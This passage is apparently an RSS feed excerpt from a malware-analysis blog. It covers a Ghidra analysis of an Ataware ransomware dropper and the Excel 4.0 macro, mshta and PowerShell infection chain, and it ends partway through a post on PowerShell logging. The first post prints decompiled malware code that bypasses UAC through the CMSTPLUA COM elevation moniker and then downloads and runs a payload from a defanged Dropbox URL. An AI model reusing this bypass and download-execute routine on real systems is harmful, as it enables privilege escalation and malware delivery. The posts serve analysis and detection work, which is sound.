&lt;div&gt;&lt;div&gt;&lt;iframe allowfullscreen=&quot;1&quot; loading=&quot;lazy&quot; src=&quot;https://www.youtube.com/embed/Xv-hpySIuJ0?autoplay=0&amp;amp;controls=1&amp;amp;origin=https://www.securityinbits.com&amp;amp;loop=0&amp;amp;mute=0&quot; title=&quot;Youtube video player&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h5&gt;Analysis steps in Ghidra&lt;/h5&gt;
&lt;p&gt;After initial Static analysis, we can open this in IDA or Ghidra, whichever you prefer. I will be using Ghidra for this series.&lt;br/&gt;
1. Navigate to entry function, then to WinMain address @&lt;strong&gt;0x004013dd&lt;/strong&gt; as shown below&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Navigate-WinMain.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;181&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Navigate-WinMain.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Navigate-WinMain.png 1537w, /wp-content/uploads/2019/04/Navigate-WinMain-300x71.png 300w, /wp-content/uploads/2019/04/Navigate-WinMain-1024x242.png 1024w, /wp-content/uploads/2019/04/Navigate-WinMain-768x181.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Navigate to WinMain - Navigate to WinMain 0x004013dd&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
2. We will concentrate on uac_bypass_download_execute (&lt;strong&gt;0x40151c&lt;/strong&gt;) as shown below&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/WinMain-Decompiled-Code.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;185&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/WinMain-Decompiled-Code.png&quot; srcset=&quot;/wp-content/uploads/2019/04/WinMain-Decompiled-Code.png 856w, /wp-content/uploads/2019/04/WinMain-Decompiled-Code-300x72.png 300w, /wp-content/uploads/2019/04/WinMain-Decompiled-Code-768x185.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;WinMain Decompiled Code&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
3. Start analysing below function @ &lt;strong&gt;0x004017e4&lt;/strong&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Before-Comment-1.png&quot;&gt;&lt;img alt=&quot;Before any Comment UAC bypass&quot; decoding=&quot;async&quot; height=&quot;746&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Before-Comment-1.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Before-Comment-1.png 1024w, /wp-content/uploads/2019/04/Before-Comment-1-300x292.png 300w, /wp-content/uploads/2019/04/Before-Comment-1-768x746.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Before any comment/Retype - uac_bypass_download_execute function&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
4. After we rename/retype variable/comment this function looks as shown below.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/UAC-bypass-2.png&quot;&gt;&lt;img alt=&quot;UAC bypass&quot; decoding=&quot;async&quot; height=&quot;499&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/UAC-bypass-2.png&quot; srcset=&quot;/wp-content/uploads/2019/04/UAC-bypass-2.png 1882w, /wp-content/uploads/2019/04/UAC-bypass-2-300x195.png 300w, /wp-content/uploads/2019/04/UAC-bypass-2-1024x665.png 1024w, /wp-content/uploads/2019/04/UAC-bypass-2-768x499.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;UAC bypass - uac_bypass_download_execute function&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
Let’s see what’s going on here, bypassing the UAC using &lt;strong&gt;CMSTPLUA COM&lt;/strong&gt; interface and using The COM Elevation Moniker &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[4]&lt;/sup&gt;&lt;/a&gt;. Using CoGetObject and CMLuaUtil-&amp;gt;lpVtbl-&amp;gt;ShellExec to execute the downloaded file. Malware author may have copied this GitHub gist &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; and used this to bypass UAC. I will recommend to look up all the API in MSDN which are used in GitHub gist &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;. This will help in understanding the code better.&lt;br/&gt;
&lt;code&gt;CLSIDFromString_addr = (CLSIDFromString *)GetProcAddress(hModule,&quot;CLSIDFromString&quot;);&lt;br/&gt;
hModule = GetModuleHandleW(L&quot;Ole32.dll&quot;);&lt;br/&gt;
IIDFromString_addr = (IIDFromString *)GetProcAddress(hModule,&quot;IIDFromString&quot;);&lt;br/&gt;
/* CLSID of CMSTPLUA Çom object */&lt;br/&gt;
HVar1 = (*CLSIDFromString_addr)(L&quot;{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;,(LPCLSID)&amp;amp;local_4c);&lt;br/&gt;
if ((HVar1 == 0) &amp;amp;&amp;amp;&lt;br/&gt;
(HVar1 = (*IIDFromString_addr)(L&quot;{6EDD6D74-C007-4E75-B76A-E5740995E24C}&quot;,(LPIID)&amp;amp;local_3c),&lt;br/&gt;
HVar1 == 0&lt;br/&gt;
/* Interface ID of ICMLuaUtil */)) {&lt;br/&gt;
RtlSecureZeroMemory(elevate_string,0x208);&lt;br/&gt;
wcscpy(elevate_string,L&quot;Elevation:Administrator!new:&quot;);&lt;br/&gt;
wcscat(elevate_string,L&quot;{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;);&lt;br/&gt;
RtlSecureZeroMemory(&amp;amp;local_74,0x24);&lt;br/&gt;
local_74.cbStruct = 0x24;&lt;br/&gt;
local_60 = 4;&lt;br/&gt;
hModule = GetModuleHandleW(L&quot;Ole32.dll&quot;);&lt;br/&gt;
CoGetObject_addr = (CoGetObject *)GetProcAddress(hModule,&quot;CoGetObject&quot;);&lt;br/&gt;
(*CoGetObject_addr)(elevate_string,&amp;amp;local_74,&amp;amp;local_3c,&amp;amp;local_50);&lt;br/&gt;
/* file_path points to %temp%ATAPIConfiguration.exe */&lt;br/&gt;
download_save_ATAPIConfiguration_exe();&lt;br/&gt;
/* execute downloaded file using COM interface which bypass UAC */&lt;br/&gt;
(**(code **)(*local_50 + 0x24))(local_50,file_path,0,0,0,5);&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;5. Analysing below function @ &lt;strong&gt;0x00401a0f&lt;/strong&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Before-Comment-3.png&quot;&gt;&lt;img alt=&quot;Before any comment/Retype&quot; decoding=&quot;async&quot; height=&quot;1091&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Before-Comment-3.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Before-Comment-3.png 889w, /wp-content/uploads/2019/04/Before-Comment-3-211x300.png 211w, /wp-content/uploads/2019/04/Before-Comment-3-721x1024.png 721w, /wp-content/uploads/2019/04/Before-Comment-3-768x1091.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Before any comment/Retype - download_save_ATAPIConfiguration_exe function&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
6. After we rename/retype variable/comment, this is how functions look as shown below.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Final-Code.png&quot;&gt;&lt;img alt=&quot;UAC bypass &amp;amp; Download code in Ghidra&quot; decoding=&quot;async&quot; height=&quot;567&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Final-Code.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Final-Code.png 1728w, /wp-content/uploads/2019/04/Final-Code-300x222.png 300w, /wp-content/uploads/2019/04/Final-Code-1024x756.png 1024w, /wp-content/uploads/2019/04/Final-Code-768x567.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;UAC bypass &amp;amp; Download code in Ghidra&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
This function &lt;strong&gt;download_save_ATAPIConfiguration_exe&lt;/strong&gt; download the file from hxxps://dl[.]dropboxusercontent[.]com/s/uzu60whrg1spnyy/ATAPIConfiguration and save it to $temp directory as ATAPIConfiguration.exe. If you see the following API in the function then you can guess it download and save file.&lt;br/&gt;
&lt;code&gt;InternetOpenW&lt;br/&gt;
InternetConnectW&lt;br/&gt;
HttpOpenRequestW&lt;br/&gt;
HttpSendRequestA&lt;br/&gt;
InternetReadFile&lt;br/&gt;
CreateFileW&lt;br/&gt;
WriteFile&lt;br/&gt;
&lt;/code&gt;&lt;br/&gt;
We have statically analysed uac_bypass_download_execute (@ &lt;strong&gt;0x004017e4&lt;/strong&gt;) and download_save_ATAPIConfiguration_exe (@ &lt;strong&gt;0x00401a0f&lt;/strong&gt;) in Ghidra.&lt;/p&gt;
&lt;h4 id=&quot;dynamic-analysis&quot;&gt;Dynamic Analysis&lt;/h4&gt;
&lt;p&gt;Before executing, setup Sysmon logging and enable UAC in VM. After executing you can see the below ProcessCreate event with Integrity level medium as it is executed with UAC.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Stage1_Process_Create_first.png&quot;&gt;&lt;img alt=&quot;Process create event using Sysmon&quot; decoding=&quot;async&quot; height=&quot;276&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Stage1_Process_Create_first.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Stage1_Process_Create_first.png 1670w, /wp-content/uploads/2019/04/Stage1_Process_Create_first-300x108.png 300w, /wp-content/uploads/2019/04/Stage1_Process_Create_first-1024x369.png 1024w, /wp-content/uploads/2019/04/Stage1_Process_Create_first-768x276.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Process create event using Sysmon - Integrity Level - Medium (UAC enabled)&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
Then you can see another ProcessCreate of DllHost.exe &lt;strong&gt;CommandLine: C:WINDOWSSysWOW64DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&lt;/strong&gt; with CMSTPLUA CLSID.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Stage1-UAC-Bypass.png&quot;&gt;&lt;img alt=&quot;UAC Bypass event using Sysmon&quot; decoding=&quot;async&quot; height=&quot;347&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Stage1-UAC-Bypass.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Stage1-UAC-Bypass.png 1655w, /wp-content/uploads/2019/04/Stage1-UAC-Bypass-300x136.png 300w, /wp-content/uploads/2019/04/Stage1-UAC-Bypass-1024x463.png 1024w, /wp-content/uploads/2019/04/Stage1-UAC-Bypass-768x347.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;UAC Bypass event using Sysmon - Integrity Level - High (UAC Bypass)&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;detection&quot;&gt;Detection&lt;/h4&gt;
&lt;p&gt;This &lt;strong&gt;CommandLine: C:WINDOWSSysWOW64DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&lt;/strong&gt; with the CLSID can be used to detect UAC bypass in our environment &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[2] [3]&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Analysed one of the technique which malware author uses for UAC bypass&lt;/li&gt;
&lt;li&gt;We can guess with high probability that malware author stole this code from gist &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Other malware like Trickbot uses the same technique &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Upcoming &lt;a href=&quot;/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;part 0x3&lt;/a&gt; we will analyse the ATAPIConfiguration.exe (Stage 2) which uses Parent PID Spoofing.&lt;/p&gt;
&lt;/p&gt;&lt;/p&gt;&lt;h4 id=&quot;footnote&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;GitHub gist for UAC bypass using CMSTPLUA COM interface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/&quot;&gt;Method 3 – UAC Bypass via Direct Utilization of COM Interfaces&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1191/&quot;&gt;CMSTP MITRE T1191&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/com/the-com-elevation-moniker&quot;&gt;The COM Elevation Moniker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labsblog.f-secure.com/2017/12/18/dont-let-an-auto-elevating-bot-spoil-your-christmas/&quot;&gt;Trickbot uses the same technique&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>ataware</category><category>cmstp</category><category>ghidra</category><category>pe</category><category>ransomware</category><category>strings</category><category>sysmon</category><category>t1548-002</category><category>t1218-003</category><category>t1218</category></item><item><title>Excel 4.0 Macro, hta, VBScript &amp; PowerShell Analysis Ataware Ransomware – Part 0x1</title><link>https://www.securityinbits.com/malware-analysis/excel-4-0-macro-hta-vbscript-powershell-analysis-ataware-ransomware-part-1/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=193</guid><description>Excel 4.0 Macro technique with mshta and PowerShell. This will be blog series analysing complete infection chain from Excel to Ataware Ransomware</description><pubDate>Tue, 30 Apr 2019 08:40:47 GMT</pubDate><content:encoded>&lt;p&gt;This will be a multiple part blog series analysing the complete infection chain from Excel to Ataware Ransomware. In this post we will discuss analysis steps for hta, VBScript &amp;amp; PowerShell code to extract the final payload url. Let’s start with xls, I was browsing Twitter for an interesting sample, then I found this tweet from &lt;a href=&quot;https://twitter.com/nao_sec&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@nao_sec&lt;/a&gt; and started investigating. You can download the xls from &lt;a href=&quot;https://app.any.run/tasks/0069b9e6-a67f-4f4b-8c02-b44485234d75&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt;.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/nao_sec-Tweet-1.png&quot;&gt;&lt;img alt=&quot;nao_sec Tweet&quot; decoding=&quot;async&quot; height=&quot;372&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 659px) 100vw, 659px&quot; src=&quot;/wp-content/uploads/2019/04/nao_sec-Tweet-1.png&quot; srcset=&quot;/wp-content/uploads/2019/04/nao_sec-Tweet-1.png 659w, /wp-content/uploads/2019/04/nao_sec-Tweet-1-300x169.png 300w&quot; width=&quot;659&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;nao_sec Tweet&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;overview-of-analysis-steps&quot;&gt;Overview of analysis steps&lt;/h4&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/OverView_Ataware-Part1.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;551&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 534px) 100vw, 534px&quot; src=&quot;/wp-content/uploads/2019/04/OverView_Ataware-Part1.png&quot; srcset=&quot;/wp-content/uploads/2019/04/OverView_Ataware-Part1.png 534w, /wp-content/uploads/2019/04/OverView_Ataware-Part1-291x300.png 291w&quot; width=&quot;534&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Ataware Infection Vector - Overview of analysis steps&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;xls-analysis-steps&quot;&gt;xls analysis steps&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Check the file type and extract the string&lt;br/&gt;
&lt;code&gt; strings &quot;563902-IT Services Procurement Catalog updated.xls&quot; &amp;gt; str_excel.txt &lt;/code&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/strings_xls.png&quot;&gt;&lt;img alt=&quot;file and strings on xls&quot; decoding=&quot;async&quot; height=&quot;88&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/strings_xls.png&quot; srcset=&quot;/wp-content/uploads/2019/04/strings_xls.png 857w, /wp-content/uploads/2019/04/strings_xls-300x34.png 300w, /wp-content/uploads/2019/04/strings_xls-768x88.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;file and strings on xls&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Go through the strings output and you will find the mshta cmd with Dropbox url &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/mshta_string.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;294&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 663px) 100vw, 663px&quot; src=&quot;/wp-content/uploads/2019/04/mshta_string.png&quot; srcset=&quot;/wp-content/uploads/2019/04/mshta_string.png 663w, /wp-content/uploads/2019/04/mshta_string-300x133.png 300w&quot; width=&quot;663&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;mshta string - Output from string cmd&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Now you know, this excel is definitely malicious by using only string tool&lt;/li&gt;
&lt;li&gt;Let’s analyse it further to understand how this mshta is invoked&lt;/li&gt;
&lt;li&gt;Run &lt;a href=&quot;https://github.com/decalage2/oletools&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;olevba&lt;/a&gt; on xls, as you can see in the output below it uses Excel 4.0 macro hidden sheet to execute mshta cmd.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/olevba_tool.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;488&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/olevba_tool.png&quot; srcset=&quot;/wp-content/uploads/2019/04/olevba_tool.png 841w, /wp-content/uploads/2019/04/olevba_tool-300x190.png 300w, /wp-content/uploads/2019/04/olevba_tool-768x488.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Olevba tool - Detecting Excel 4.0 Macro&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For more details on Excel 4.0 Macro, check the references section&lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;. Now we will move on the hta file analysis.&lt;/p&gt;
&lt;h4 id=&quot;htseelaaa-hta-analysis&quot;&gt;htseelaaa.hta analysis&lt;/h4&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/hta_file_content.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;408&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/hta_file_content.png&quot; srcset=&quot;/wp-content/uploads/2019/04/hta_file_content.png 814w, /wp-content/uploads/2019/04/hta_file_content-300x159.png 300w, /wp-content/uploads/2019/04/hta_file_content-768x408.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Content of hta file&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;Why are attacker using hta?&lt;/h5&gt;
&lt;p&gt;HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser &lt;a href=&quot;#footnote&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;. hta file can be executed using inbuilt trusted Windows utility mshta which can bypass Application Whitelisting.&lt;/p&gt;
&lt;h5&gt;Deobfuscate Steps&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;Extract the vbs code from hta file and save as vbs&lt;/li&gt;
&lt;li&gt;Replace the eval with Wscript.Echo and execute using cscript &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/execute_cscript.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;408&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/execute_cscript.png&quot; srcset=&quot;/wp-content/uploads/2019/04/execute_cscript.png 966w, /wp-content/uploads/2019/04/execute_cscript-300x159.png 300w, /wp-content/uploads/2019/04/execute_cscript-768x408.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Execute cscript - Replace Eval with Wscript.Echo and run using cscript&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Now you can see the base64 encoded PowerShell code, instead of manual deobfuscation let’s run the PowerShell code inside our VM with FakeNet-NG&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Execute-PowerSehll.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;169&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Execute-PowerSehll.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Execute-PowerSehll.png 797w, /wp-content/uploads/2019/04/Execute-PowerSehll-300x66.png 300w, /wp-content/uploads/2019/04/Execute-PowerSehll-768x169.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Execute PowerShell - Execute PowerShell code extracted from VBScript&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Enable PowerShell Enhanced Logging before running above PowerShell code, for more details check this &lt;a href=&quot;/malware-analysis/deobfuscate-powershell-using-powershell-logging/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Deobfuscate PowerShell using PowerShell Logging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;After executing, go through PowerShell logs in EventViewer to find out the debofuscate code as shown below&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Decoded-PS-.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;672&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Decoded-PS-.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Decoded-PS-.png 1039w, /wp-content/uploads/2019/04/Decoded-PS--300x262.png 300w, /wp-content/uploads/2019/04/Decoded-PS--1024x896.png 1024w, /wp-content/uploads/2019/04/Decoded-PS--768x672.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Decoded PowerShell - Decoded PowerShell in PowerShell Logs&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Copy the PowerShell code after removing iex and execute it to see the final decoded code shown below &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Final-Decode-PS.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;289&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Final-Decode-PS.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Final-Decode-PS.png 889w, /wp-content/uploads/2019/04/Final-Decode-PS-300x113.png 300w, /wp-content/uploads/2019/04/Final-Decode-PS-768x289.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Final Decoded PS&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;This PowerShell download the PE file from the dropbox link and executes it in the $temp directory with filename ATAPIinit.exe.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Infection vector is unique as it is using Excel 4.0 Macro technique with mshta and PowerShell.&lt;/li&gt;
&lt;li&gt;Heavily obfuscated to slow down analysis&lt;/li&gt;
&lt;li&gt;Using dropbox as initial payload delivery, as dropbox may be allowed in proxy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Upcoming &lt;a href=&quot;/malware-analysis/uac-bypass-analysis-stage-1-ataware-ransomware-part-2/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;part 0x2&lt;/a&gt; we will analyse the UAC bypass using CMSTPLUA COM interface technique used by PE file downloaded from PowerShell.&lt;/p&gt;
&lt;/p&gt;&lt;h4 id=&quot;footnote&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/&quot;&gt;XLM Excel 4.0 Macro Details&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1170/&quot;&gt;Mshta technique&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>ataware</category><category>deobfuscation</category><category>hta</category><category>macro-analysis</category><category>powershell</category><category>ransomware</category><category>t1059-001</category><category>t1218-005</category><category>vbscript</category><category>xls</category></item><item><title>Deobfuscate PowerShell using PowerShell Logging</title><link>https://www.securityinbits.com/malware-analysis/deobfuscate-powershell-using-powershell-logging/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=165</guid><description>Analyze/Deobfuscate malicious PowerShell faster by enabling PowerShell Enhanced logging. Example scenario Using Emotet &amp; Qbot</description><pubDate>Sat, 20 Apr 2019 13:26:45 GMT</pubDate><content:encoded>&lt;div&gt;We will use inbuilt PowerShell Logging in Windows 10 VM to deobfuscate PowerShell code used to deliver Emotet &amp;amp; Qakbot. Malware uses PowerShell mostly to download payload from CC and execute it.&lt;/div&gt;
&lt;h4 id=&quot;why-do-we-need-to-do-this&quot;&gt;Why do we need to do this?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Easy technique to deobfuscate PowerShell without using any external tool&lt;/li&gt;
&lt;li&gt;Extract CC from PowerShell&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;sample&quot;&gt;Sample&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Qakbot: Download hta file (Md5: 9ce2f8566be903e4bd9159b1b06900f4) used by Qakbot from &lt;a href=&quot;https://app.any.run/tasks/7702309e-ce9a-4c6d-9607-e77b8b428382&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Emotet: Download Emotet downloader sample from zip archive &lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/05/04/index.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;2018-05-04-Emotet-malware.zip &lt;/a&gt; / &lt;a href=&quot;https://www.virustotal.com/#/file/b26fa7e3f85d5bd8ccca12d893dea59e60bca6bbdf035a2cc516c5da51d00d9a/detection&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Virustotal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;enable-powershell-logging&quot;&gt;Enable PowerShell Logging&lt;/h4&gt;
&lt;p&gt;Windows 10 VM doesn’t require any software updates to support enhanced PowerShell logging. But if you still want to configure Windows 7 VM, please check the FireEye article &lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Greater Visibility Through PowerShell Logging&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;1. Open Local Group Policy editor and navigate to&lt;br/&gt;
